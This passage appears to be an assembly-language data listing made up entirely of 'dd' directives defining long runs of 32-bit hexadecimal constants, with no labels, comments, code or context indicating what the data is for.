		dd 0E75E38Dh, 0E86EB0A2h, 0D0B24A8Dh, 542AB664h, 7EBE8FDAh
		dd 3A0F435Fh, 1E5A5887h, 0DA12A9B9h, 0C9D44CB4h, 48C45C09h
		dd 8664D2ADh, 64BEB93Dh, 688AB8C4h, 1260B335h, 6A55D32Ah
		dd 48A6A6ACh, 4E665031h, 0C556946Bh, 0A565CA09h, 0BF2BD0B1h
		dd 2C996A75h, 8942D2A6h, 0CD1E0DD5h, 2B720D03h,	923BB0B1h
		dd 0A8F66578h, 0A9AFE7DEh, 4BE16F9Ch, 69CCF0E4h, 49BD8D0Bh
		dd 668374FCh, 0DBE3419Eh, 2FD70F2Ah, 0AE789965h, 3078AF9Dh
		dd 95BCEDEFh, 0B13DBBABh, 82CC975Ah, 0C03592AAh, 99942F99h
		dd 43FEC136h, 0CFD693C0h, 0A43BA5D7h, 31932F73h, 27750A0Dh
		dd 0CA787D1Bh, 0CFD4AA88h, 878F9F39h, 45776855h, 717A6320h
		dd 31467AD0h, 0CF90C478h, 0EEF90371h, 9C260D8Dh, 1D0D3B5Fh
		dd 0BB1E9A64h, 118AC894h, 0AA4514E5h, 0F90F28F4h, 7768B0D3h
		dd 0C621AB83h, 4A3CEAB2h, 5185BBE6h, 6DA09C49h,	0B70B84ACh
		dd 1E6AF6BCh, 2EA27E4Dh, 16A4C71Dh, 8E70E912h, 32F0B2F1h
		dd 0CFDDE6B2h, 528B1997h, 7D7B1627h, 686D3262h,	4385BE57h
		dd 0B2A8FC31h, 674D10F2h, 32C3F825h, 237A8FECh,	1CF143Ah
		dd 0B01051B2h, 96979689h, 5D7F4197h, 378681C0h,	689EA51Fh
		dd 1663E0FEh, 0DF6DEB0h, 1F61B5C9h, 487F376Ah, 2BD6E808h
		dd 669A1225h, 2D6E168h,	0A212C598h, 8CCD0953h, 17AF0E71h
		dd 78ED1AFAh, 9E3E2E80h, 22588DD7h, 8EB2A4CEh, 5EF824F3h
		dd 9F2E443Ah, 9E80494Fh, 0F050E1CBh, 0D6206225h, 0E54C3906h
		dd 9208B51Dh, 114B4A03h, 73F9EA19h, 96332E91h, 0C7E6BC3Fh
		dd 0BC18B9FAh, 27836339h, 4E5C3752h, 74E410FAh,	7AA8C1B4h
		dd 0F29819E7h, 275BC728h, 0CBC50066h, 18AC9E93h, 0B979E2E2h
		dd 99A90E86h, 0EDB0A9E9h, 69BC5C7Eh, 6FBB96A4h,	0E35DAA17h
		dd 0F51B216h, 2C2CE580h, 28F6EBEFh, 0E57065AFh,	6BCE54ACh
		dd 0DB420DB5h, 76ADBCACh, 6BAD7996h, 0E7C9DF6Eh, 4AB8BCFCh
		dd 888AB2B2h, 2F2009F9h, 5F8098EBh, 0A151E7C1h,	1DDA37h
		dd 80BDF2D3h, 0D145301Eh, 7524C79Fh, 72B809C1h,	23A441C3h
		dd 27D8B986h, 592208BCh, 0F03DC78Ch, 9F86F64Bh,	0F14E279Ah
		dd 43EA4F88h, 54A93208h, 0CF30007Bh, 97ACC571h,	5616B524h
		dd 0BDDE0181h, 5DFF1867h, 701693FFh, 0D1E50A75h, 2FD400BCh
		dd 99DD3CCCh, 3A49E6A3h, 9663F565h, 4FD3758Bh, 6280B776h
		dd 2334F0FDh, 964D0FEDh, 839999CDh, 7CEE80AAh, 0F064B99Dh
		dd 2DA8B2F6h, 0C87DFACBh, 0DA06F705h, 0E9B2E78Bh, 0AD16E055h
		dd 464ED434h, 376B6AA1h, 49246E7Dh, 6F10BDF0h, 0AD788A4Eh
		dd 0D1266BA3h, 5E26BA4Ah, 0ABFC8372h, 60552D83h, 1D16B94Ah
		dd 0D4049763h, 3A03386Fh, 0D9A8C7C6h, 1B0D9088h, 1FB2A8C3h
		dd 0F4532175h, 45EB405Bh, 9997612Ah, 0B455AB12h, 2C1C332Bh
		dd 0ADB8D45Fh, 0FBE9FE35h, 18641DA2h, 689AE528h, 0E7C5203Eh
		dd 79142081h, 0C32A6280h, 0D6A40501h, 0DE0C055h, 0B34C879Ch
		dd 0B993B4CCh, 9A404EFBh, 4F03505Bh, 736331C7h,	0A1F0211Bh
		dd 0B20BDA50h, 25B6ED49h, 3BFAD7E3h, 0D4D454B9h, 7753F2C4h
		dd 315E6CDCh, 0F8A375C3h, 8067592Bh, 0E2348FA0h, 95285D59h
		dd 0D2EA5484h, 0EC30795Dh, 2707FCBCh, 71C36924h, 0C86991CEh
		dd 0F8D1B002h, 794D84C4h, 0C05B6094h, 0FD134BEEh, 8FC01F60h
		dd 912A4164h, 278EC36Dh, 0B7CF67D8h, 0A5ECA134h, 441E0530h
		dd 0F1F09349h, 3CBA288Eh, 0A613DE03h, 0CF613CCFh, 400CF017h
		dd 830486DDh, 63E925Bh,	91089092h, 0BA076C82h, 9215492h
		dd 2A6A12F8h, 0C0B3B831h, 0CBF599EFh, 8EBE28E8h, 6287F888h
		dd 16761E40h, 0B802B1ADh, 338D6A9Fh, 1C9CAD0Dh,	0E551FC7h
		dd 0F9A2461Ch, 605F89C6h, 0D579EF8Eh, 0E7B4B97Bh, 62F311FBh
		dd 5E23A42Bh, 2B838A18h
		dd 270F30ECh, 0A8BE8AB0h, 35F52877h, 0C6B1D412h, 9EDA839Fh
		dd 6873A354h, 0F0262970h, 981763EEh, 3884430Ah,	0EE29FF5Dh
		dd 2379DCDAh, 5A736309h, 0E40FB873h, 6888CD52h,	0D6AC0884h
		dd 0F9301CC9h, 12E6B6E2h, 3776544Dh, 73C62AFAh,	0A3443EDAh
		dd 4A207D2Ah, 7A30B2EBh, 593D0E06h, 14612DFCh, 0D112FEC3h
		dd 8EA56374h, 25007FA4h, 0F4C5B18Dh, 905CFA35h,	0B8F1C92h
		dd 0CB8BEF3Ah, 7E180EEFh, 56A6A53Eh, 0C775C2FAh, 0F8C12B48h
		dd 2CD7C63Ch, 7C593593h, 0F005A7FDh, 893CEEDAh,	0B15B481h
		dd 0BE2B7FD3h, 89031467h, 0C50DC945h, 3770AFE5h, 0AC55361Dh
		dd 21F1B8D6h, 35E94DDFh, 0C33A9236h, 0E565307h,	0E8AC88Ah
		dd 877718F8h, 5FBF7454h, 0FDF25378h, 14257978h,	0AC585F47h
		dd 752ADC72h, 0A00EDACAh, 974E9F0Ch, 9B3EDB8Ah,	20845DF0h
		dd 3EFBD872h, 4526F64Fh, 9B8C3156h, 3CF983C7h, 516B6774h
		dd 0A714519Eh, 0FD9999A8h, 52511E8Dh, 0B3721F69h, 0CCD82C3Eh
		dd 0D654CE25h, 4B590C0Eh, 0AAC351CBh, 3C559B34h, 0D7D704F5h
		dd 5AA91950h, 0D75F9CF0h, 8B663C45h, 8B1CBCB5h,	2A990749h
		dd 9BD89A0Ah, 3756F03Bh, 0D64E55F7h, 88E2AB3h, 38710604h
		dd 56713960h, 35006770h, 0BAA3D091h, 5F359459h,	0C25D7DA4h
		dd 35A338Bh, 0EC53BF6Ch, 0D2781C8Ch, 0DCB5C0F3h, 1AA67299h
		dd 0D457E741h, 0F2BD784h, 273A0E0Fh, 13489004h,	0CC08D819h
		dd 1473582Ah, 754EE0A1h, 7D5BA4E2h, 0FE191698h,	0B37D4094h
		dd 2B9D65F2h, 35562D72h, 0A203A7D0h, 53B46B5Dh,	461B7753h
		dd 1375145h, 0C030F644h, 0F1562302h, 9DB1807Ch,	24FC46B4h
		dd 657BD96Dh, 31788F59h, 0F8AB9DEBh, 5A7A9BB8h,	0DB023D74h
		dd 8A1CE917h, 8F06A69Bh, 0B8740A3Bh, 89579324h,	4D09F01Eh
		dd 0F10401Ah, 0F6CEB50h, 380AD21Dh, 40F6F115h, 334FDFC1h
		dd 0E5691458h, 0F6FD365Eh, 0AA60D079h, 0FB7A296Bh, 0A949C936h
		dd 9DD90C78h, 57BC3847h, 7955E79Fh, 8F84A642h, 64DAEF3h
		dd 20883303h, 621F24C1h, 0EEE189CAh, 0CC875E19h, 851EA31Ch
		dd 49432D2Bh, 551C2380h, 0CD44021Fh, 9BB75BEh, 0D264DA75h
		dd 63E815D9h, 0B8BAC3E0h, 8F59E87Eh, 382CECEEh,	3CB92B35h
		dd 912EB3C4h, 2DEB1EFh,	0BAF6CC60h, 7556DDBBh, 13AEA285h
		dd 0E16DC75Fh, 45B77196h, 1D0B474Eh, 59CB086Fh,	0C6B77CC2h
		dd 8A032B81h, 5CB48BBBh, 23DB625Ah, 9006DD25h, 3EFD470Ah
		dd 783CAF3Ah, 0F9E313F8h, 0B50470E2h, 212465DAh, 95AAAB6Eh
		dd 97C7173Dh, 0FE2C49FAh, 47466DD0h, 4847C984h,	14BEEFDFh
		dd 32F10900h, 9DB10B0Fh, 1C5728A7h, 9B1B2CCh, 24909FF5h
		dd 0D4ACE1D0h, 4D3EF1CFh, 5AF511F4h, 41E62BFh, 742D3D30h
		dd 0E29B5438h, 60E46394h, 277EA16h, 0FDD1AEE0h,	4B839F3Ah
		dd 218860Dh, 0F7D7201Ah, 1575E8F4h, 8AC0F360h, 6D1F2DC3h
		dd 2BBD4972h, 0FFD3735Eh, 89FCA649h, 4653E754h,	548EC86Ah
		dd 10CC2D46h, 0F539E4ECh, 0B284A6E9h, 1F3FEA1Fh, 0A454B48Bh
		dd 0D9A91D4Fh, 181F3859h, 9E5E1EE8h, 156CDFF3h,	49E329B6h
		dd 0D18A3757h, 511059EBh, 80BB2791h, 64DC1B81h,	80C5600Fh
		dd 0D65E07Fh, 0C943695Ch, 2A901415h, 9B36B09Ah,	6A9531Fh
		dd 7136E2DEh, 5859BAC6h, 94D60612h, 2D54FF8Dh, 5A3C205h
		dd 8D23E24Eh, 0A256D9EFh, 0E0C997D8h, 1B6AF42Eh, 0F669BBB9h
		dd 8C9101D2h, 0A715BAAFh, 0CD3686D5h, 0CF794634h, 283EA609h
		dd 85E54857h, 88E24C68h, 0EC0D238Eh, 0DEBFE073h, 76E34349h
		dd 8212E12Bh, 0A5F5DE0Ch, 5979A040h, 41E0E883h,	0DE9EF848h
		dd 6F1F6183h, 809A7A36h, 73EFBB2Bh, 0AB3B76D2h,	7C47B42Ch
		dd 4F1FA92Dh, 17D889A4h, 88C71103h, 6F92BF80h, 0DA1E0113h
		dd 22EF804Dh, 0F8096D1Fh, 58E95100h, 6C68D513h,	0C25339F4h
		dd 59BF2698h, 4D5ED8C7h, 0C7B66222h, 8D4BDE9Ch,	2261BFC4h
		dd 2FFFC7B0h, 8D243F22h, 0E4B591Fh, 6056F93Eh, 217DB259h
		dd 89B91FF4h, 0EE15E256h, 0A2DDBEC1h, 0F208B645h, 0F1DF2187h
		dd 0DB46FF47h, 0D4C7B17Dh, 0C2C8524Fh, 0EF7FC06Dh, 896E984Bh
		dd 8B6DB039h, 20D44C23h, 630109E7h, 5EB07A04h, 4A0665CDh
		dd 9062623Bh, 757613A6h, 0C5CA17F7h, 9E591216h,	173AC070h
		dd 6FFB55B4h, 0A6976B90h, 0DB5AB846h, 4C2FA1DBh, 0B1DC6516h
		dd 64601C35h, 0B2B5140Bh, 3A6EDEEFh, 0A4992618h, 0FC09B585h
		dd 4E583916h, 0D65DEFB8h, 0FB1583ACh, 1D5EE4CEh, 66F8452Eh
		dd 0EBCE71FDh, 1E296B8h, 0EC44CCF7h, 0BEE94DE4h, 0FE6446E7h
		dd 0EC0004A0h, 0E57D17B6h, 85E1BABDh, 4D15449Dh, 5714ED04h
		dd 9E1E7B37h, 6FCFB5D3h, 0C13B0C47h, 8947CD93h,	12404BEAh
		dd 0AEAC1AB8h, 0AF152BF5h, 4202CFC8h, 0D1881A23h, 857BD772h
		dd 6FC472B1h, 0A2392E97h, 2528E9A4h, 6C558040h,	6EA9B36Eh
		dd 0E561F3ABh, 2ED79C35h, 1296EA78h, 5ADB1A16h,	93921B81h
		dd 970ABF6Fh, 8DC43B34h, 958AFD11h, 70129F9Fh, 0C6A92EE4h
		dd 0B243EFD7h, 862BC94Fh, 0E5FA66D9h, 0C8E5B4C8h, 38082020h
		dd 1AA8B7E2h, 0E53E044Ah, 19220044h, 0A322EC86h, 473022A6h
		dd 18C24307h, 0E0950133h, 0B7CA5290h, 0E0F0B544h, 0F0C99136h
		dd 3EDB15F8h, 8F4C4F11h, 81395630h, 12A1B5C7h, 9F8DB1FBh
		dd 0D6EB76C9h, 82657B71h, 62FFD2B6h, 401936CBh,	69A6BE75h
		dd 502A8A5Ah, 4214AABh,	8E8DE80Eh, 71B26C8Ch, 59ABBBA6h
		dd 0EFDE299Ch, 6A05DA15h, 31AAE54h, 1C2541BCh, 42A69EB3h
		dd 0B7712269h, 56EAD3A3h, 8C2FA000h, 5748815Bh,	26329D64h
		dd 96C3CF1Ah, 0D2FC3490h, 3EAF4535h, 1DE8B3FFh,	891A599Eh
		dd 0ACDB76F2h, 2932B662h, 0A5EC2559h, 950F2499h, 4BCF305Eh
		dd 1D2B190Eh, 780B35D8h, 62D6C771h, 40538648h, 0BD1C9146h
		dd 44024ACFh, 1C3C61B2h, 77D1E3FAh, 3BDA3740h, 48D57B2Eh
		dd 0D8C19A46h, 87ACFDF6h, 8DEAE65Ah, 0B7BCB9DFh, 0C7472F43h
		dd 1B2EAE39h, 0EBA8A55Ah, 3EBB0D67h, 627C097Fh,	55F1C13Ah
		dd 394C5003h, 83F2DD87h, 0F580A72Fh, 0F1942AD1h, 259D5928h
		dd 0F1399E17h, 0CF604D86h, 0A3340E65h, 0DF49AF92h, 0A98BA69Ah
		dd 0A7C7DA05h, 0F84F9F0Ch, 0C1D9FF7h, 2ECCF6DFh, 0F0EF469Ah
		dd 0BDA5106Ah, 4CC54963h, 5C00550Ch, 0D3EB8AB2h, 0B8B67BD8h
		dd 0A67DBC2h, 28277Ah, 0CC81C337h, 0D4375E89h, 845EFE1Bh
		dd 840A272Ch, 57DF421h,	1A198F9h, 112751D6h, 3AD61A3Ch
		dd 41A2A60Ah, 1CFB15A3h, 269DC892h, 0EA793237h,	8750D5FAh
		dd 52D6259Bh, 0F2ABDDE8h, 0DA719264h, 3E9285C7h, 0FA043C84h
		dd 5733DAF0h, 13A91998h, 0A54C548Eh, 0E161AF0Ch, 5DC1767Fh
		dd 0D6F670C8h, 32EDD0C5h, 51155DD3h, 0DF36C3E5h, 4F3485F3h
		dd 0DAA0B5B8h, 0A911E1A4h, 0F5D5BA82h, 49302F10h, 61C4B380h
		dd 0B4FB8B24h, 0E357E038h, 7D451C04h, 8A1F3D0Dh, 822FA41Ch
		dd 6BDFB0E1h, 946A8217h, 0C108BD7h, 5EADC4EBh, 0B34643BFh
		dd 9634F1EEh, 0AF9DAF53h, 0E1B7EC9Bh, 9AA61072h, 0D63BD8A1h
		dd 20301D67h, 1C8A7D1Dh, 0F9752E1h, 824DF968h, 9814900Ch
		dd 9375CE0Fh, 0D946981Eh, 80052D60h, 34D3C02Dh,	7815A570h
		dd 6FE700CDh, 0C1B83783h, 8DC49F70h, 0DE6AC4D3h, 8BDEE0D1h
		dd 0B7D70E95h, 77CEB2F7h, 5A3CC9EAh, 6E764BFEh,	43F0A35Ah
		dd 329869A9h, 15D18AC7h, 4D645036h, 9C2DC0Dh, 4EBEA56h
		dd 0ED6C1CFDh, 5E5B4BDFh
		dd 89142BF9h, 0C4C6BE5h, 13971C76h, 0EE3F7821h,	336517C9h
		dd 0D88F197h, 0C87BC3D4h, 0EF88CCCBh, 0BEBC6F96h, 446523Dh
		dd 0A13550Ch, 3D3E25BFh, 0CA376B91h, 7223458h, 0DF0B59D7h
		dd 0BD38C50Dh, 0B7E42914h, 7F4E1E1Ah, 5FEFCE9h,	0E4E5D005h
		dd 31281333h, 0BD42CF53h, 0AFAA3173h, 0F7178FC3h, 0AAFB2DBh
		dd 9CA34652h, 0A1A5F727h, 0C6BF5936h, 634D5018h, 974A0F39h
		dd 9240D16Ch, 0CD4973A9h, 15F55081h, 0CC18565h,	0D68121E0h
		dd 0B64CD65Eh, 723FC021h, 0C982AD1Eh, 4310905Bh, 0C1EA91DEh
		dd 0F9299723h, 0B51B3A4Eh, 0C1C9E032h, 0A79B5DEAh, 255DC561h
		dd 587A9C9Bh, 0A01DBC28h, 0C2809EF1h, 0A60C79FAh, 99B658DFh
		dd 4E9FCDCFh, 0B81BFABDh, 0C222EC0Fh, 88BFECE3h, 0C5EDB05Bh
		dd 0DD948850h, 32527C90h, 0E40391E1h, 1E556599h, 0B70D96E2h
		dd 0F5251BDBh, 249C47B7h, 5E57070Dh, 0B111C1F0h, 0E8FC5C11h
		dd 0E40F35EDh, 872CE9E8h, 0B981591Eh, 0A0B486E0h, 5A0ACB86h
		dd 0C3812CC0h, 39AD1CF7h, 0D85AB419h, 8153C9A0h, 0EBCC0D1Eh
		dd 0BEAE859Bh, 0C06875F0h, 0C2F312E6h, 402720DDh, 51C25805h
		dd 84E7EB4Bh, 0F1302F52h, 383CC53h, 0EF5B2416h,	0F9938324h
		dd 0AE3B8923h, 0CEC6D0C7h, 0A421F6B7h, 0D19EAE0Ch, 0B6671BEBh
		dd 8ED853EDh, 1B9A247Dh, 64690F9h, 0C10FEC9Ch, 0B9E6041h
		dd 0CABEDD18h, 5B624845h, 5C9D0CE4h, 6853B555h,	67C203F1h
		dd 0BBBA3B8Ah, 749AD67Bh, 4351D926h, 0FE150F9Ah, 0E2BC6D04h
		dd 0A5AB6906h, 9D448867h, 38EFDFDBh, 0C6837B84h, 0D0D758B0h
		dd 99270D11h, 0DDEF3C59h, 2108B8A3h, 0E4C0926Ah, 0C8D58BB4h
		dd 7687543Ah, 0EE416F9h, 6C1417E3h, 5C1938F1h, 23863A8Eh
		dd 2C5517FAh, 53BE2A0Ah, 8D6437A6h, 3530EAE9h, 3380D43Ch
		dd 0D52E9DE1h, 0B79EE46Bh, 6498DE1Ah, 7E8BC385h, 4E38976Ah
		dd 73A10F35h, 175FDC26h, 1F5E6A1h, 0FF5D5E92h, 0C7279466h
		dd 0D010747h, 0F8047DFDh, 0C5C4CC38h, 0D1021290h, 0F5AA5E69h
		dd 0E43DFC00h, 79DA133Ah, 801D89B0h, 0B4ABA5B1h, 714CF8A6h
		dd 2D8B9473h, 9CEE2B4Dh, 4CC9B887h, 4600FF3Dh, 0EDDA33DEh
		dd 73DA4735h, 0DC8526B7h, 0B4E030E3h, 0D209B0F4h, 84B16487h
		dd 8117916Ch, 43E5F0A0h, 9AC01C1Fh, 32450B88h, 7171B276h
		dd 512DECC6h, 41527CD1h, 33DAB663h, 0D3574DA3h,	9DFB6B2Dh
		dd 0C05BFA23h, 0F4833CAAh, 528D7F04h, 0D4C50862h, 57E29903h
		dd 0A68B6931h, 59C1BC69h, 91BEB62Ah, 8168A8Dh, 0EEABFA40h
		dd 0F7260B50h, 3477F4A1h, 0E2487430h, 0F4912A31h, 279D8E2Bh
		dd 618B67C8h, 1FAEEA03h, 0C09CC7D2h, 53251AA4h,	32E77831h
		dd 7B05F7F6h, 0E457ADCAh, 5AD4B331h, 0DE4F64F6h, 0F71B8AE4h
		dd 4B8A398Eh, 0D79210FDh, 0B30C057Fh, 88677035h, 9B7C6112h
		dd 0E299BAAFh, 0CE8BEA9Bh, 9ECFB838h, 0F86146D7h, 5DD57888h
		dd 0CDBE2810h, 0D996ED56h, 3542F13Ch, 0BBDE989Ch, 0CAFF537Fh
		dd 0FE124D56h, 0D1C284A9h, 0C2520300h, 4911C41Ch, 64C58B6Dh
		dd 0A8743822h, 0A01AB728h, 0C18DA724h, 0E1102D2Ch, 4F82289h
		dd 0A024646Ah, 17CB93ACh, 1033B691h, 247339E6h,	0FB3121F9h
		dd 0EF45750Ah, 478EFF69h, 32F022FEh, 7B1BB14Ch,	7EB77825h
		dd 0DB7915E5h, 2178D187h, 0AFE251EDh, 0D6E17DF7h, 35D0FA0Dh
		dd 77400CF2h, 0E79CA36Dh, 6EE4BEA4h, 6F3C9305h,	0D156DF0Ch
		dd 0A71B993Dh, 70BB13B4h, 0D0CE9EE8h, 7456A22Ch, 0CEB11169h
		dd 0EE924241h, 866B2011h, 0DA6DA9F4h, 68625A48h, 0DB212278h
		dd 6A3B93EDh, 0CD0186FFh, 9058B12Eh, 0B44E657Eh, 0A7EF1DD7h
		dd 0EDA4B70Eh, 7253D917h, 0F6ABF609h, 0A47F1746h, 473BF7C2h
		dd 4C134204h, 0F1EAC0FBh, 0ECBCF98Fh, 13DC6E15h, 18064389h
		dd 3D1125B7h, 0AFD5DECBh, 0E5933024h, 0F16FD6FAh, 3303D00Ch
		dd 507F1A6Ch, 0CAB58D0h, 4D18F58Eh, 0BF0023EFh,	0A9420E10h
		dd 0A103EF77h, 0D61BC4F4h, 76CF1AF2h, 22053DBAh, 12F2066Bh
		dd 0C1B98E7Bh, 0EAA87C46h, 58201424h, 94D1BB9Fh, 529072ACh
		dd 73BEE10Dh, 994417FBh, 763F21F4h, 5F6EC70Eh, 7FFDFF22h
		dd 99D03BA7h, 6DA0FDEFh, 0A0DAD464h, 64DD7DE6h,	0FEAD7B41h
		dd 75295588h, 33FCD0A2h, 0AB432958h, 9EA479A8h,	0D24B7C2Bh
		dd 34EC8AC6h, 989134F7h, 6711FF5Fh, 44B51B02h, 0A55273A7h
		dd 7E3DEA72h, 0CF0F3970h, 6F9A61E5h, 69A99509h,	0EA16542Ch
		dd 55631BB8h, 0FFF9B0Bh, 518B4920h, 65A0D889h, 5613C103h
		dd 34F8337h, 4A2FAD1Bh,	80F0F584h, 492F4CE9h, 0F063E9FBh
		dd 0D6731E77h, 0E1D0A916h, 0D52E6687h, 30FD71D7h, 9517988Fh
		dd 4DAF2DD0h, 0ABAED270h, 0F0913569h, 51EB0DBCh, 0EBF95AD0h
		dd 0BAC38B89h, 0D446BD0Bh, 8E80F80h, 3D46F323h,	91BC85D2h
		dd 0FDB79E89h, 8027F5C1h, 1A0410C4h, 0FE5EEDCDh, 0DB6E25D4h
		dd 0F4BF60D0h, 0F0DCB605h, 606974B4h, 9AF3BA67h, 435D4D55h
		dd 0F372DD24h, 512BCF7Dh, 7739032Fh, 0E6A1E2C5h, 0EC018B0Fh
		dd 259FEC4Dh, 8600E34Bh, 0C5DC011Bh, 9A0C156Eh,	2E50E49Ah
		dd 0FC9436CEh, 370443D8h, 0C467FA0Ah, 64393A5Bh, 0C5742268h
		dd 56CEEE0Ah, 0F438AEDAh, 20DBD67Eh, 0CE341B8Ch, 7AB44152h
		dd 0BEDEA9A7h, 7628F8D4h, 359CBA4Fh, 5BE54A7h, 9EBAAD94h
		dd 2F1638EBh, 6F0DC8EDh, 75529298h, 0F4350F0Ah,	47E30A38h
		dd 3840FE47h, 54E78645h, 7D5A3C4Fh, 88AC69B6h, 152A0B5Ch
		dd 0C615F94Dh, 0DB4D0F27h, 0C8C0D030h, 0AE988B04h, 7AC11543h
		dd 5627DEF3h, 0ED0A8A0Fh, 1834496Fh, 0FBAAB19Ah, 7EA25F63h
		dd 689E6647h, 5F003DB9h, 0B4BC8084h, 17949C7Ah,	300FEE73h
		dd 0D50F4094h, 0F003C9BDh, 4B779895h, 3E3C7AA2h, 0C8E7B77Bh
		dd 622D7848h, 0D4D27D1Eh, 2E428AFDh, 31504B8Bh,	2BBC4D47h
		dd 34A86432h, 9B6DD7B1h, 2216D3CBh, 4B5734Bh, 476BC955h
		dd 18BDEB1Eh, 8ECC7289h, 0BB8C3D37h, 40D671CAh,	9EB988CEh
		dd 0CBB01082h, 0F59BE171h, 8546B491h, 5E3A6B21h, 9688AC1Bh
		dd 0E030FA03h, 0F091F640h, 13A9AE98h, 43E87E66h, 4CB4DA23h
		dd 177F1C04h, 57F06B7h,	66212970h, 361E23D3h, 0AB7F12AFh
		dd 4908DB8Bh, 0CE21987Fh, 858CE0EFh, 574DD0ECh,	8AABF4D1h
		dd 3410D22Ch, 191A67A6h, 3BA82E8Fh, 3CC91965h, 0C4B8D233h
		dd 1DCC32A7h, 12F199BFh, 0AA8D56FCh, 911C488h, 0B6A512FBh
		dd 325DDA9Eh, 15135E40h, 8B853F21h, 5150695Fh, 5A1ABD26h
		dd 0D2CB17F8h, 6454B8CFh, 0AE4C2407h, 50728016h, 15B8F508h
		dd 89697D81h, 5582FD44h, 2D44C758h, 0F49329A0h,	13730ED4h
		dd 8B75DD1Fh, 2F80858Eh, 0C7939422h, 76CBC68Ah,	0DA42D15Bh
		dd 0E63116EFh, 0FA6FD3FCh, 0D1B7126Fh, 0F7D94F6Bh, 1F672EA4h
		dd 8936D092h, 23C836F3h, 0BA473C20h, 6C4749B8h,	7549C3F9h
		dd 94F0928Dh, 0C2AE1A10h, 557CFC9Dh, 2D917544h,	6348B64Ch
		dd 290B1217h, 4B013222h, 482ADDB7h, 84F839EBh, 0BA8B6C29h
		dd 432A8408h, 7B6363E6h, 44316F17h, 1B28B781h, 45A80881h
		dd 0E3561749h, 7BE62779h, 35EBC25Fh, 56841E98h,	3344C93Ch
		dd 0E8314E9Dh, 130FE343h, 70EF28A7h, 153A39E0h,	0A59EA703h
		dd 8A223FBEh, 0ACD2DCD4h, 0D926AC0Dh, 99976775h, 41BD9B3Ah
		dd 11E9F01Fh, 0D8552671h, 711B38F7h, 0F43EFA8Bh, 1FABBA99h
		dd 9F911CC3h, 28D188Ch,	0F5F0ABD9h, 934DA1Ch, 0BCBBCC7Eh
		dd 3CCFB1D1h, 435F8093h
		dd 89B23254h, 0AAADD26Bh, 0C16FC918h, 0F8E0D1F6h, 5BACC72Eh
		dd 1D0E4B27h, 0F7807ACDh, 9221BA82h, 0DAD9787Bh, 0E6115D38h
		dd 0A3F2594Ah, 31F5173Ah, 8B935E4Bh, 0BAF6C50Bh, 6566F291h
		dd 7C6D0952h, 0B735138Bh, 9AD2462Ah, 0FAF2B0BDh, 666C39F9h
		dd 8426A44Bh, 0E1CFFCAh, 0B1C57309h, 714A3BCEh,	0DE4981F3h
		dd 0D0A06697h, 9024FA7Dh, 0AD85736Ah, 722DDEB5h, 0D04B26AEh
		dd 9707358Dh, 0AD48FD30h, 651A5E55h, 8B6D145h, 0B96E2697h
		dd 65B08C89h, 0EE27900Ch, 0DE9574B7h, 5E40C5BBh, 7F195C27h
		dd 2700384h, 930427C9h,	5C749800h, 0C2CE4h, 0BD06C7B9h
		dd 3202D259h, 1FA0534Ah, 34AC372Bh, 0D97E8CAFh,	0D0DE5615h
		dd 0ADA9694Ch, 71CA01DFh, 9AE845Eh, 0C737F356h,	9821145h
		dd 0C61E0956h, 0FF242D68h, 32E24D86h, 0B1FA8E1Eh, 0B199ACDh
		dd 3924FFF2h, 0E5069C0Ch, 0BDC33107h, 0A6F9C0F3h, 8B00B41Bh
		dd 8D6D3AEh, 30B85C10h,	38A7B462h, 0DEF3EE0Ah, 9DC2CA0h
		dd 4DDE09E2h, 0EBED2E4Dh, 0C329E5BFh, 5528E737h, 0F390A20Eh
		dd 0E21E87EEh, 0BE1DB4D0h, 5CC26733h, 44C6E001h, 0D854972Dh
		dd 8DAB116Fh, 0C86F384Ah, 74F234C4h, 0A87C8084h, 0D15F3ECh
		dd 8BD2F703h, 0EC10B562h, 7EB17431h, 47CEE775h,	7E685281h
		dd 524D92E9h, 0BF0A322Bh, 0F9E012A2h, 0A1714CB4h, 0A32EDCD0h
		dd 1F9A31B1h, 0E9239493h, 3D5102F4h, 9B739DC3h,	0A5433668h
		dd 0D968F83Ch, 0EB81A25Dh, 0F562B8FCh, 0A320FC6Ah, 3E4DDE01h
		dd 0C7739BA8h, 2C8C5D34h, 785F8F85h, 1A3B8E19h,	586B34E2h
		dd 3835F6DEh, 266563BCh, 3ABE273Ch, 730FB28h, 78091EDFh
		dd 97247DDCh, 7F680683h, 95A30D41h, 0B8496F1Bh,	0DE8EEEB9h
		dd 0C5FAF4E3h, 0E772AB4Eh, 7179C24h, 7F0E3A78h,	7EF4AF3Ch
		dd 0F060707Bh, 6B68412Fh, 35B3EF6Fh, 648F9922h,	0B2E5E78Fh
		dd 0DACE7672h, 71FE1489h, 39B5794Bh, 0A0C6925Bh, 0F02D0CE1h
		dd 0A4F8CDFDh, 2A3E8C8Eh, 1989410Eh, 507531D5h,	0C475B5BEh
		dd 0C6B84035h, 0C6B76BA7h, 0BF9AA4DCh, 9B6C193Eh, 0F341D0A4h
		dd 84825FEDh, 0C45103FDh, 8C21A14Ah, 311FDEB2h,	15C22F0h
		dd 8BFB65C1h, 5F400677h, 6C03A7C7h, 5AF0F12Fh, 0C3ACE65Ch
		dd 3CADB186h, 0EF3F1C2Bh, 61528DE6h, 8CB1CDADh,	4CE2A30Ch
		dd 698A2AE4h, 0A4A36326h, 5B9B0500h, 6079C590h,	950D5C06h
		dd 0D989D36Bh, 87078A7Eh, 0E20A3CD0h, 8629DF97h, 0DB88B232h
		dd 63915C7Eh, 37E3D4F5h, 5FF6D369h, 87504049h, 774321A4h
		dd 2DE7DF09h, 0EF6CC5EAh, 0DE673EA0h, 0EAAE706Eh, 0D0302F75h
		dd 87DDBCF8h, 0BDAEDE32h, 2B0B9242h, 1B77F3A2h,	85273866h
		dd 0EA16AAE2h, 4CCF3727h, 0F0E6044Ah, 5A48B2E5h, 67D2155Dh
		dd 0F651AF58h, 50FF6D46h, 2F2D3A67h, 9827FFAFh,	6B11A4FEh
		dd 0C7D314ADh, 0B6205222h, 0E11E8442h, 0E378C45Ch, 15D72889h
		dd 1A3B38E5h, 0D62D1025h, 0FD480F56h, 7FE1D38h,	92532206h
		dd 0D9726E0Ch, 0F03702B6h, 504C0495h, 8E6D9905h, 63144B75h
		dd 6AC80F3Dh, 0BFCC0EE3h, 0D59F5B4Dh, 0C57BAD07h, 0BBB08129h
		dd 0BD270E9Fh, 0B86783A1h, 47276B85h, 0D02E9585h, 0CAA2ABD3h
		dd 0B77EEA0Dh, 0A3BAF0A7h, 11085092h, 1CE95120h, 36A89CBh
		dd 0D3CF2868h, 20523B89h, 92D77232h, 0CA20182Fh, 0AFCAECA3h
